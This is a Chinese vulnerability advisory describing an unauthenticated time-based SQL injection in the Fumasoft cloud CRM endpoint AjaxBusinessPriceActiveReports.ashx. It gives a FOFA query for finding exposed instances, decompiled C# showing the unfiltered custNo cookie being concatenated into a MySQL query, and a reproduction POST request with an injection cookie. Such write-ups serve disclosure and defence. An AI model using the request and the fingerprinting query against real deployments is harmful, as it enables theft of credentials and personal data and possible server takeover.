漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxBusinessPriceActiveReports.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxBusinessPriceActiveReports.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxBusinessPriceActiveReports 方法的实现如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str = context.Request["action"];
try
{
if (!string.op_Equality(str, "GetTempelateList"))
return;
this.GetTempelateList(context);
}
catch (Exception ex)
{
Helper.WriteLog($"GetTempelateList error message :{ex.Message} StackTrace:{ex.StackTrace}", "ddSaas");
}
}
当action=GetTempelateList时,看下GetTempelateList方法的实现
public void GetTempelateList(HttpContext context)
{
Helper.WriteLog("custNo:" + UserCookie.GetCookieValue("custNo"), "ddSaas");
string cookieValue;
if (string.op_Equality(UserCookie.GetCookieValue("custNo"), ""))
{
LicInfo licInfo = new BasePage().CheckLicNo();
int num = licInfo.LicenseStr.IndexOf(":");
cookieValue = licInfo.LicenseStr.Substring(num + 1, licInfo.LicenseStr.Length - num - 1).Replace("&&", "&").Split(new char[1]
{
'&'
})[1];
if (string.op_Equality(UserCookie.GetCookieValue("custNo"), ""))
UserCookie.SetCookieValue("custNo", cookieValue);
}
else
{
cookieValue = UserCookie.GetCookieValue("custNo");
Helper.WriteLog("CustNo:" + cookieValue, "ddSaas");
}
DataTable table = MySqlHelper.ExecuteDataSet(new EncryptData().DecryptString(MySqlHelper.DBConnectionString), (CommandType) 1, $" select * from Tempelate where (ClientNumber is null or ClientNumber='{cookieValue}') and MouldID='SC002'").Tables[0];
当Cookie里的UserCookie的custNo值不为空时,custNo 未经过任何过滤或校验就被直接拼接进SQL语句中进行执行,从而造成SQL注入漏洞,这里需要注意数据库相关操作为MySQL数据库,而非sql server !
漏洞复现
漏洞利用需要注意,此处是MySQL数据库相关操作,并非mssql !
POST /m/Dingding/Ajax/AjaxBusinessPriceActiveReports.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"custNo":"')SQLI_POC-- -"}
Content-Type: application/x-www-form-urlencoded
action=GetTempelateList

成功延时 4 秒




